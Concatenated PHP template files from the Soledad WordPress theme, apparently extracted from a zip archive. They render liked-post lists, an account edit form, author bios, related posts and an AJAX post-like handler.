$all_points   = \PenciUserProfile::getInstance();
$endpoints    = $all_points->get_endpoint();
$account_slug = $endpoints['account']['slug'];
$posts_slug   = $endpoints['like_posts']['slug'];
$post_like    = get_user_option( '_liked_posts', get_current_user_id() );
$post_like    = is_array( $post_like ) ? array_values( $post_like ) : [];
$order        = isset( $_GET['order'] ) ? sanitize_text_field( $_GET['order'] ) : 'desc';
$args         = array(
	'post_type'           => 'post',
	'post__in'            => $post_like,
	'orderby'             => 'date',
	'order'               => $order,
	'posts_per_page'      => - 1,
	'post_status'         => 'any',
	'ignore_sticky_posts' => 1,
);
$posts        = new WP_Query( $args );

if ( $posts->have_posts() && ! empty( $post_like ) ) {

	$total_post = $lpost = $posts->found_posts;

	?>

    <div class="penci_account_posts">
        <div class="penci_post_list_meta">
            <div class="penci_post_list_count">
                <span><?php echo sprintf( str_replace( '{{value}}', '%s', penci_get_setting( 'penci_trans_showing_result' ) ), 1, $lpost, $total_post ) ?></span>
            </div>
            <div class="penci_post_list_filter">
                <input type="hidden" name="current-page-url"
                       value="<?php echo esc_url( penci_home_url_multilang( '/' . $account_slug . '/' . $posts_slug ) ); ?>">
                <select name="post-list-filter">
                    <option <?php echo ( $order === 'desc' ) ? esc_attr( 'selected' ) : ''; ?>
                            value="desc"><?php echo penci_get_setting( 'penci_trans_sort_latest' ); ?></option>
                    <option <?php echo ( $order === 'asc' ) ? esc_attr( 'selected' ) : ''; ?>
                            value="asc"><?php echo penci_get_setting( 'penci_trans_sort_older' ); ?></option>
                </select>
            </div>
        </div>
        <div class="penci-smalllist">
            <div class="pcsl-inner penci-clearfix pcsl-grid pcsl-imgpos-left pcsl-col-1 pcsl-tabcol-2 pcsl-mobcol-1">
				<?php

				while ( $posts->have_posts() ) :
					$posts->the_post();

					$post_id     = get_the_ID();
					$post_status = get_post_status_object( get_post_status( $post_id ) )->label;

					?>
                    <article <?php post_class( 'pcsl-item' ); ?>>
                        <div class="pcsl-itemin">
                            <div class="pcsl-iteminer">
                                <div class="pcsl-thumb">
                                    <a href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       class="penci-image-holder">
										<?php echo penci_layout_img( penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), get_the_title() ); ?>
                                    </a>
                                </div>
                                <div class="pcsl-content">
                                    <div class="cat pcsl-cat">
										<?php penci_category(); ?>
                                    </div>
                                    <div class="pcsl-title">
                                        <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                                    </div>
                                    <div class="grid-post-box-meta pcsl-meta">
                                         <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                         penci_coauthors_posts_links();
	                                         else: ?>
                                                 <a class="author-url url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                         <?php endif; ?>
													</span>
                                        <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                        <?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </article>
				<?php
				endwhile;

				?>
            </div>
        </div>
    </div>

	<?php


} else {
	echo "<div class='penci_empty_module'>" . penci_get_setting( 'penci_trans_no_content' ) . "</div>";
}

wp_reset_postdata();
?>PK     0w\D{      templates/edit_account.phpnu [        <?php
$current_user = wp_get_current_user();
$user_id      = $current_user->ID;
$profileuser  = get_userdata( $user_id );
extract( $args );
?>

<?php if ( isset( $_POST['success-message'] ) ) : ?>
    <div class="alert-success alert alert-dismissible fade in"
         role="alert"><?php echo esc_html( $_POST['success-message'] ); ?></div>
<?php endif ?>

<?php if ( isset( $_POST['error-message'] ) ) : ?>
    <div class="alert-error alert alert-dismissible fade in"
         role="alert"><?php esc_html_e( $_POST['error-message'] ); ?></div>
<?php endif ?>

<form method="post" action="">
    <div class="row clearfix">
        <!-- first name -->
        <div class="pccol_2 fname-field">
            <div class="form-group">
                <label for="fname"><?php echo penci_get_setting( 'penci_pregister_first_name' ); ?> <span
                            class="required">*</span></label>
                <input id="fname" name="fname"
                       placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"
                       type="text" class="form-control"
                       value="<?php echo isset( $user_firstname ) ? esc_attr( $user_firstname ) : ''; ?>">
            </div>
        </div>

        <!-- last name -->
        <div class="pccol_2 lname-field">
            <div class="form-group">
                <label for="lname"><?php echo penci_get_setting( 'penci_pregister_last_name' ); ?></label>
                <input id="lname" name="lname"
                       placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"
                       type="text" class="form-control"
                       value="<?php echo isset( $user_lastname ) ? esc_attr( $user_lastname ) : ''; ?>">
            </div>
        </div>

        <!-- display name -->
        <div class="pccol_2 dname-field">
            <div class="form-group">
                <label for="dname"><?php echo penci_get_setting( 'penci_pregister_display_name' ); ?></label>
                <select name="dname" id="dname">
					<?php
					$public_display                     = array();
					$public_display['display_nickname'] = $profileuser->nickname;
					$public_display['display_username'] = $profileuser->user_login;

					if ( ! empty( $profileuser->first_name ) ) {
						$public_display['display_firstname'] = $profileuser->first_name;
					}

					if ( ! empty( $profileuser->last_name ) ) {
						$public_display['display_lastname'] = $profileuser->last_name;
					}

					if ( ! empty( $profileuser->first_name ) && ! empty( $profileuser->last_name ) ) {
						$public_display['display_firstlast'] = $profileuser->first_name . ' ' . $profileuser->last_name;
						$public_display['display_lastfirst'] = $profileuser->last_name . ' ' . $profileuser->first_name;
					}

					if ( ! in_array( $profileuser->display_name, $public_display, true ) ) { // Only add this if it isn't duplicated elsewhere.
						$public_display = array( 'display_displayname' => $profileuser->display_name ) + $public_display;
					}

					$public_display = array_map( 'trim', $public_display );
					$public_display = array_unique( $public_display );

					foreach ( $public_display as $id => $item ) {
						?>
                        <option <?php selected( $profileuser->display_name, $item ); ?>><?php echo $item; ?></option>
						<?php
					}
					?>
                </select>
            </div>
        </div>

		<?php
		do_action( 'penci_insert_after_display_name', $user_id );
		?>

        <!-- social -->
        <div class="pccol_1 social-label">
            <h3 class="clearfix"><?php echo penci_get_setting( 'penci_pregister_cinfo' ); ?></h3>
        </div>

		<?php foreach ( $socials as $key => $value ): ?>
            <div class="pccol_2 <?php echo esc_attr( $key ); ?>-field">
                <div class="form-group">
                    <label for="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $value['label'] ); ?></label>
                    <input id="<?php echo esc_attr( $key ); ?>" name="<?php echo esc_attr( $key ); ?>" type="text"
                           class="form-control"
                           value="<?php echo isset( $value['value'] ) ? esc_attr( $value['value'] ) : ''; ?>">
                </div>
            </div>
		<?php endforeach ?>

        <!-- description -->
        <div class="pccol_1 description-label">
            <h3 class="clearfix"><?php echo penci_get_setting( 'penci_pregister_about' ); ?></h3>
        </div>

        <div class="pccol_1 description-field">
            <div class="form-group">
                <label for="description"><?php echo penci_get_setting( 'penci_pregister_binfo' ); ?></label>
				<?php
				wp_editor( $description, 'description', array(
					'textarea_name'    => 'description',
					'drag_drop_upload' => false,
					'media_buttons'    => false,
					'textarea_rows'    => 10,
					'teeny'            => true,
					'quicktags'        => false
				) );
				?>
            </div>
        </div>

        <!-- profile picture -->
        <div class="pccol_1 photo-field">
            <div class="form-group">
                <label for="photo"><?php echo penci_get_setting( 'penci_pregister_picture' ); ?></label>
                <div class="form-input-wrapper">
					<?php
					load_template( plugin_dir_path( __DIR__ ) . 'templates/upload_form.php', true, array(
						'id'      => 'photo',
						'class'   => '',
						'name'    => 'photo',
						'source'  => isset( $photo ) ? $photo : '',
						'button'  => 'btn-single-image',
						'multi'   => false,
						'maxsize' => apply_filters( 'penci_maxsize_upload_profile_picture', '2mb' )
					) );
					?>
                </div>
            </div>
        </div>

        <!-- submit -->
        <div class="pccol_1 submit-field">
            <div class="form-group">

				<?php if ( ! apply_filters( 'penci_account_disable_edit_account', false ) ): ?>
                    <input type="hidden" name="penci-action" value="edit-account"/>
                    <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>"/>
                    <input type="hidden" name="penci-account-nonce"
                           value="<?php echo esc_attr( wp_create_nonce( 'penci-account-nonce' ) ); ?>"/>
                    <input type="submit"
                           value="<?php echo penci_get_setting( 'penci_trans_edit_account' ); ?>"/>
				<?php else: ?>
					<?php echo apply_filters( 'penci_account_disable_edit_account_msg', '' ); ?>
				<?php endif ?>

            </div>
        </div>

    </div>
</form>
PK     0w\s      templates/about_author.phpnu [        <?php
/**
 * Display detail author of current post
 * Use in single post
 *
 * @since 1.0
 */
$author_ids = array();

if ( is_singular() ) {
	$post_author_id = get_post_field( 'post_author', get_the_ID() );
	if ( $post_author_id ) {
		$author_ids[] = $post_author_id;
	}
}

if ( is_author() ) {
	$author = get_user_by( 'slug', get_query_var( 'author_name' ) );
	if ( $author ) {
		$author_ids[] = $author->ID;
	}
}

$classes      = 'post-author';
$bio_style    = get_theme_mod( 'penci_authorbio_style' ) ? get_theme_mod( 'penci_authorbio_style' ) : 'style-1';
$bio_img      = get_theme_mod( 'penci_bioimg_style' ) ? get_theme_mod( 'penci_bioimg_style' ) : 'round';
$bio_img_size = get_theme_mod( 'penci_author_ava_size', 100 );
$classes     .= ' abio-' . $bio_style;
$classes     .= ' bioimg-' . $bio_img;
if ( function_exists( 'coauthors__echo' ) && ! is_author() ) {
	$author_list = coauthors__echo(
		'ID',
		'field',
		array(
			'between'     => ',',
			'betweenLast' => ',',
			'before'      => '',
			'after'       => '',
		),
		null,
		false
	);
	if ( $author_list ) {
		$author_ids = explode( ',', $author_list );
	}
}
foreach ( $author_ids as $author_id ) {
	?>
<div class="<?php echo $classes; ?>">

	<?php
	if ( 'style-5' == $bio_style ) :
		$tab_1 = 'author-info-' . $author_id;
		$tab_2 = 'author-posts-' . $author_id;
		?>
	<div class="author-top-tabs">
		<ul>
			<li><a data-tab="<?php echo $tab_1; ?>" class="pcauthor-tabs active" href="#<?php echo $tab_1; ?>"><?php echo penci_get_setting( 'penci_trans_author_profile' ); ?></a></li>
			<li><a data-tab="<?php echo $tab_2; ?>" class="pcauthor-tabs" href="#<?php echo $tab_2; ?>"><?php echo penci_get_setting( 'penci_trans_author_related' ); ?></a></li>
		</ul>
	</div>
	<div id="<?php echo $tab_2; ?>" class="author-tab-content author-posts">
			<?php get_template_part( '/inc/templates/related_posts_author', '', array( 'id' => $author_id ) ); ?>
	</div>
	<div id="<?php echo $tab_1; ?>" class="author-tab-content active author-bottom-content">
<?php endif; ?>


	<div class="author-img">
		<?php
		echo get_avatar( $author_id, $bio_img_size );
		?>
	</div>
	<div class="author-content">
		<h5><?php echo penci_get_the_author_posts_link( $author_id ); ?></h5>
		<?php do_action( 'penci_below_author_name', array( 'author_id' => $author_id ) ); ?>


		<?php
		$author_desc = get_the_author_meta( 'description', $author_id );
		if ( ! $author_desc && function_exists( 'get_the_coauthor_meta' ) ) {
			$author_desc = get_the_coauthor_meta( 'description', $author_id );
			$author_desc = isset( $author_desc[ $author_id ] ) && $author_desc[ $author_id ] ? $author_desc[ $author_id ] : '';
		}
		?>

		<p><?php echo $author_desc; ?></p>

		<?php
		if ( 'style-5' == $bio_style ) {
			echo '</div>';
		}
		?>

		<div class="bio-social">
			<?php if ( get_the_author_meta( 'user_url', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php the_author_meta( 'user_url', $author_id ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'facebook', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://facebook.com/<?php echo esc_attr( the_author_meta( 'facebook', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'twitter', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://x.com/<?php echo esc_attr( the_author_meta( 'twitter', $author_id ) ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'instagram', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://instagram.com/<?php echo esc_attr( the_author_meta( 'instagram', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'pinterest', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://pinterest.com/<?php echo esc_attr( the_author_meta( 'pinterest', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'tumblr', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://<?php echo esc_attr( the_author_meta( 'tumblr', $author_id ) ); ?>.tumblr.com/"><?php penci_fawesome_icon( 'fab fa-tumblr' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'linkedin', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'linkedin', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'soundcloud', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'soundcloud', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-soundcloud' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'youtube', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'youtube', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'tiktok', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'tiktok', $author_id ) ); ?>"><?php echo penci_icon_by_ver( 'penciicon-tik-tok-1' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'email', $author_id ) && get_theme_mod( 'penci_post_author_email' ) ) : ?>
				<a class="author-social"
					href="mailto:<?php echo esc_attr( the_author_meta( 'email', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fas fa-envelope' ); ?></a>
			<?php endif; ?>
		</div>
	</div>
	</div>
	<?php
}
PK     0w\!׍P  P    templates/topbar_menu.phpnu [        <?php
$tbmenu_id = '';
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['topbar_menu'] ) && $pmeta_page_header['topbar_menu'] ) {
		$tbmenu_id = $pmeta_page_header['topbar_menu'];
	}
}
/**
 * Display topbar menu
 */
wp_nav_menu( array(
	'menu'           => $tbmenu_id,
	'container'      => 'div',
	'container_class'=> 'pctopbar-item penci-wtopbar-menu',
	'theme_location' => 'topbar-menu',
	'menu_class'     => 'penci-topbar-menu',
	'fallback_cb'    => 'penci_menu_fallback',
	'walker'         => ''
) );PK     0w\O^      templates/related_posts.phpnu [        <?php
/**
 * Related post template
 * Render list related posts
 *
 * @since 1.0
 */
$data_auto = 'true';
$auto      = get_theme_mod( 'penci_post_related_autoplay' );
if ( $auto == false ): $data_auto = 'false'; endif;

$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_numbers_related_post' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 10; endif;

$orderby_post = 'date';
if ( get_theme_mod( 'penci_related_orderby' ) && get_theme_mod( 'penci_related_orderby' ) != 'date' ):
	$orderby_post = get_theme_mod( 'penci_related_orderby' );
endif;
$related_style        = get_theme_mod( 'penci_related_style', 'style-1' );
$related_order_post   = get_theme_mod( 'penci_related_sort_order' );
$related_order_post   = $related_order_post ? $related_order_post : 'DESC';
$related_title_length = get_theme_mod( 'penci_related_posts_title_length' ) ? get_theme_mod( 'penci_related_posts_title_length' ) : 8;
$penci_related_by     = get_theme_mod( 'penci_related_by' );

$args = penci_get_query_related_posts( get_the_ID(), $penci_related_by, $orderby_post, $related_order_post, $numbers_related );

if ( ! empty( $args ) ) {

$my_query = new wp_query( $args );
if ( $my_query->have_posts() ) {
$data_loop            = '';
$number_posts_display = $my_query->post_count;
if ( $number_posts_display < 4 ):
	$data_loop = ' data-loop="false"';
endif;
?>
<div class="pcrlt-<?php echo $related_style; ?> post-related<?php if ( get_theme_mod( 'penci_post_related_grid' ) ): echo ' penci-posts-related-grid'; endif; ?>">
	<?php if ( penci_get_setting( 'penci_post_related_text' ) ): ?>
        <div class="post-title-box"><h4
                    class="post-box-title"><?php echo penci_get_setting( 'penci_post_related_text' ); ?></h4></div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_post_related_grid' ) ) {
	$dcol_slides = $related_style == 'style-4' ? 2 : 3;
	$mcol_slides = $related_style == 'style-4' ? 1 : 2;
	$lazy_class  = 'penci-lazy'; ?>
    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel"
         data-lazy="true"<?php echo $data_loop; ?> data-item="<?php echo $dcol_slides; ?>"
         data-desktop="<?php echo $dcol_slides; ?>" data-tablet="<?php echo $mcol_slides; ?>"
         data-tabsmall="<?php echo $mcol_slides; ?>"
         data-auto="<?php echo $data_auto; ?>"
         data-speed="300"<?php if ( ! get_theme_mod( 'penci_post_related_dots' ) ) {
		echo ' data-dots="true"';
	}
	if ( ! get_theme_mod( 'penci_post_related_arrows', true ) ) {
		echo ' data-nav="false"';
	} ?>>
        <div class="swiper-wrapper">
			<?php } else {
			$lazy_class = 'penci-lazy'; ?>
            <div class="penci-related-carousel penci-related-grid-display">
				<?php } ?>
				<?php while ( $my_query->have_posts() ) : $my_query->the_post(); ?>
                    <div class="item-related swiper-slide">
                        <div class="item-related-inner">


							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
								<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> related-thumb penci-image-holder"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title(), get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>

									<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_post_related_icons' ) ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-play' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-music' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-link' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
											<?php penci_fawesome_icon( 'far fa-image' ); ?>
										<?php endif; ?>
									<?php endif; ?>
                                </a>
							<?php endif; ?>
                            <div class="related-content">

                                <h3>
                                    <a href="<?php the_permalink(); ?>"><?php do_action( 'penci_before_title' );
										echo wp_trim_words( get_the_title(), $related_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_hide_date_related' ) ): ?>
                                    <span class="date"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
				<?php
				endwhile;
				echo '</div>';
				if ( ! get_theme_mod( 'penci_post_related_grid' ) ) {
					echo '<div class="penci-owl-dots"></div></div>';
				}
				echo '</div>';
				}
				}
				$post = $orig_post;
				wp_reset_postdata();
				?>
PK     0w\F"  F"    like_post/post-like.phpnu [        <?php
/**
 * Create post like for posts
 *
 * Idea from Jon Masterson < http://jonmasterson.com/ >
 * @since 1.0
 */

add_action( 'wp_ajax_nopriv_penci-post-like', 'penci_post_like' );
add_action( 'wp_ajax_penci-post-like', 'penci_post_like' );
function penci_post_like() {
	$nonce = $_POST['nonce'];
	if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
		die ( 'Nope!' );
	}

	if ( isset( $_POST['penci_post_like'] ) ) {

		$reaction = isset( $_POST['reaction'] ) ? sanitize_text_field( $_POST['reaction'] ) : 'like'; // reaction type
		$meta_key = '_post_' . $reaction . '_count'; // set meta key based on reaction type

		$post_id         = $_POST['post_id']; // post id
		$post_like_count = get_post_meta( $post_id, $meta_key, true ); // post like count

		if ( function_exists( 'wp_cache_post_change' ) ) { // invalidate WP Super Cache if exists
			$GLOBALS["super_cache_enabled"] = 1;
			wp_cache_post_change( $post_id );
		}

		if ( is_user_logged_in() ) { // user is logged in
			$user_id     = get_current_user_id(); // current user
			
			$user_key = '_liked_posts';
			$meta_user_key = '_user_liked';
			$user_count_key = '_user_'.$reaction.'_count';

			if ( $reaction !== 'like' ) {
				$user_key = '_liked_' . $reaction . '_posts';
				$meta_user_key = '_user_' . $reaction . '_liked';
			}

			$meta_POSTS  = get_user_option( $user_key, $user_id ); // post ids from user meta
			$meta_USERS  = get_post_meta( $post_id, $meta_user_key ); // user ids from post meta
			$liked_POSTS = null; // setup array variable
			$liked_USERS = null; // setup array variable

			if ( $meta_POSTS && count( $meta_POSTS ) != 0 ) { // meta exists, set up values
				$liked_POSTS = $meta_POSTS;
			}

			if ( ! is_array( $liked_POSTS ) ) // make array just in case
			{
				$liked_POSTS = array();
			}

			if ( count( $meta_USERS ) != 0 ) { // meta exists, set up values
				$liked_USERS = $meta_USERS[0];
			}

			if ( ! is_array( $liked_USERS ) ) // make array just in case
			{
				$liked_USERS = array();
			}

			$liked_POSTS[ 'post-' . $post_id ] = $post_id; // Add post id to user meta array
			$liked_USERS[ 'user-' . $user_id ] = $user_id; // add user id to post meta array
			$user_likes                        = count( $liked_POSTS ); // count user likes

			if ( ! penci_AlreadyLiked( $post_id, $reaction ) ) { // like the post
				update_post_meta( $post_id, $meta_user_key, $liked_USERS ); // Add user ID to post meta
				update_post_meta( $post_id, $meta_key, ++ $post_like_count ); // +1 count post meta
				update_user_option( $user_id, $user_key, $liked_POSTS ); // Add post ID to user meta
				update_user_option( $user_id, $user_count_key, $user_likes ); // +1 count user meta
				echo absint( $post_like_count ); // update count on front end

			} else { // unlike the post
				$pid_key = array_search( $post_id, $liked_POSTS ); // find the key
				$uid_key = array_search( $user_id, $liked_USERS ); // find the key
				unset( $liked_POSTS[ $pid_key ] ); // remove from array
				unset( $liked_USERS[ $uid_key ] ); // remove from array
				$user_likes = count( $liked_POSTS ); // recount user likes
				update_post_meta( $post_id, $meta_user_key, $liked_USERS ); // Remove user ID from post meta
				update_post_meta( $post_id, $meta_key, -- $post_like_count ); // -1 count post meta
				update_user_option( $user_id, $user_key, $liked_POSTS ); // Remove post ID from user meta
				update_user_option( $user_id, $user_count_key, $user_likes ); // -1 count user meta
				echo "already" . absint( $post_like_count ); // update count on front end

			}

		} else { // user is not logged in (anonymous)
			$ip        = $_SERVER['REMOTE_ADDR']; // user IP address

			$meta_ip_meta = '_user_IP';

			if ( $reaction !== 'like' ) {
				$meta_ip_meta = '_user_' . $reaction . '_IP';
			}

			$meta_IPS  = get_post_meta( $post_id, $meta_ip_meta ); // stored IP addresses
			$liked_IPS = null; // set up array variable

			if ( count( $meta_IPS ) != 0 ) { // meta exists, set up values
				$liked_IPS = $meta_IPS[0];
			}

			if ( ! is_array( $liked_IPS ) ) // make array just in case
			{
				$liked_IPS = array();
			}

			if ( ! in_array( $ip, $liked_IPS ) ) // if IP not in array
			{
				$liked_IPS[ 'ip-' . $ip ] = $ip;
			} // add IP to array

			if ( ! penci_AlreadyLiked( $post_id ) ) { // like the post
				update_post_meta( $post_id, $meta_ip_meta, $liked_IPS ); // Add user IP to post meta
				update_post_meta( $post_id, $meta_key, ++ $post_like_count ); // +1 count post meta
				echo absint( $post_like_count ); // update count on front end

			} else { // unlike the post
				$ip_key = array_search( $ip, $liked_IPS ); // find the key
				unset( $liked_IPS[ $ip_key ] ); // remove from array
				update_post_meta( $post_id, $meta_ip_meta, $liked_IPS ); // Remove user IP from post meta
				update_post_meta( $post_id, $meta_key, -- $post_like_count ); // -1 count post meta
				echo "already" . absint( $post_like_count ); // update count on front end

			}
		}
	}

	exit;
}

/**
 * Check if user is liked post
 */
function penci_AlreadyLiked( $post_id, $reaction = 'like' ) { // test if user liked before
	if ( is_user_logged_in() ) { // user is logged in
		$user_id     = get_current_user_id(); // current user
		$meta_user_key = '_user_liked';
		if ( $reaction !== 'like' ) {
			$meta_user_key = '_user_' . $reaction . '_liked';
		}
		$meta_USERS  = get_post_meta( $post_id, $meta_user_key ); // user ids from post meta
		$liked_USERS = ""; // set up array variable

		if ( count( $meta_USERS ) != 0 ) { // meta exists, set up values
			$liked_USERS = $meta_USERS[0];
		}

		if ( ! is_array( $liked_USERS ) ) // make array just in case
		{
			$liked_USERS = array();
		}

		if ( in_array( $user_id, $liked_USERS ) ) { // True if User ID in array
			return true;
		}

		return false;

	} else { // user is anonymous, use IP address for voting

		$meta_ip_meta = '_user_IP';

		if ( $reaction !== 'like' ) {
			$meta_ip_meta = '_user_' . $reaction . '_IP';
		}

		$meta_IPS  = get_post_meta( $post_id, $meta_ip_meta ); // get previously voted IP address
		$ip        = $_SERVER["REMOTE_ADDR"]; // Retrieve current user IP
		$liked_IPS = ""; // set up array variable

		if ( count( $meta_IPS ) != 0 ) { // meta exists, set up values
			$liked_IPS = $meta_IPS[0];
		}

		if ( ! is_array( $liked_IPS ) ) // make array just in case
		{
			$liked_IPS = array();
		}

		if ( in_array( $ip, $liked_IPS ) ) { // True is IP in array
			return true;
		}

		return false;
	}

}

/**
 * Front end button like post
 */
function penci_getPostLikeLink( $post_id ) {
	if ( get_theme_mod( 'penci__hide_share_plike' ) ) {
		return;
	}

	$like_count = get_post_meta( $post_id, "_post_like_count", true ); // get post likes
	if ( ! $like_count ): $like_count = '0'; endif;

	if ( penci_AlreadyLiked( $post_id ) ) {
		$class = esc_attr( ' liked' );
		$title = esc_html__( 'Unlike', 'soledad' );
	} else {
		$class = '';
		$title = esc_html__( 'Like', 'soledad' );
	}
	$return = '<a href="#" class="penci-post-like' . $class . '" aria-label="Like this post" data-post_id="' . $post_id . '" title="' . $title . '" data-like="' . esc_html__( 'Like', 'soledad' ) . '" data-unlike="' . esc_html__( 'Unlike', 'soledad' ) . '">' . penci_icon_by_ver( 'far fa-heart' ) . '<span class="dt-share">' . sanitize_text_field( $like_count ) . '</span></a>';

	return $return;
}

/**
 * Front end button like post in single
 */
function penci_single_getPostLikeLink( $post_id ) {
	$like_count = get_post_meta( $post_id, "_post_like_count", true ); // get post likes
	if ( ! $like_count ): $like_count = '0'; endif;

	if ( penci_AlreadyLiked( $post_id ) ) {
		$class = esc_attr( ' liked' );
		$title = esc_html__( 'Unlike', 'soledad' );
	} else {
		$class = '';
		$title = esc_html__( 'Like', 'soledad' );
	}
	$return = '<span class="count-number-like">' . sanitize_text_field( $like_count ) . '</span><a href="#" aria-label="Like this post" class="penci-post-like single-like-button' . $class . '" data-post_id="' . $post_id . '" title="' . $title . '" data-like="' . esc_html__( 'Like', 'soledad' ) . '" data-unlike="' . esc_html__( 'Unlike', 'soledad' ) . '">' . penci_icon_by_ver( 'far fa-heart' ) . '</a>';

	return $return;
}

/**
 * Front end count like post
 */
function penci_getPostCountLike( $post_id, $type = '' ) {
	$meta_key = $type ? '_post_'.$type.'_count' : '_post_like_count'; // set meta key based on type
	$like_count = get_post_meta( $post_id, $meta_key, true ); // get post likes
	$count      = ( ! isset( $like_count ) || empty( $like_count ) ) ? '0' : $like_count;

	return $count;
}

add_action( 'penci_action_after_the_content', function(){
	if ( get_theme_mod( 'penci_post_reactions_enable' ) ) {
		get_template_part( 'template-parts/single-reactions' );
	}
} );PK     0w\7oS* S*   meta-box/meta-box.phpnu [        <?php
/**
 * Add custom meta box for pages
 * Add custom sidebar for page go here
 * Use add_meta_box() function to hook it
 *
 * @package Wordpress
 * @since 1.0
 *
 */

require PENCI_SOLEDAD_DIR . '/inc/meta-box/meta-box-array.php';

/* Sub title */
add_action( 'admin_head', 'penci_add_subtitle_metaboxes' );
function penci_add_subtitle_metaboxes() {
	// Detect if editor is gutenberg or not - if not, add meta box after post title.
	if ( penci_is_using_gutenberg() ) {
		add_meta_box(
			'penci_post_secondry_title',
			esc_html__( 'Add Subtitle', 'soledad' ),
			'penci_render_subtitle_markup_gutenberg',
			penci_post_types_allow_meta_boxes(),
			'side',
			'high'
		);
	} else {
		add_action( 'edit_form_after_title', 'penci_render_subtitle_markup', 1 );
	}
}

function penci_render_subtitle_markup() {
	$post_id = get_the_ID();

	// Get currently viewing post type
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type( $post_id );
	}

	if ( empty( $post_type ) && get_current_screen()->post_type ) {
		$post_type = get_current_screen()->post_type;
	}

	// Don't render markup if it's not allowed
	if ( ! in_array( $post_type, penci_post_types_allow_meta_boxes() ) ) {
		return;
	}
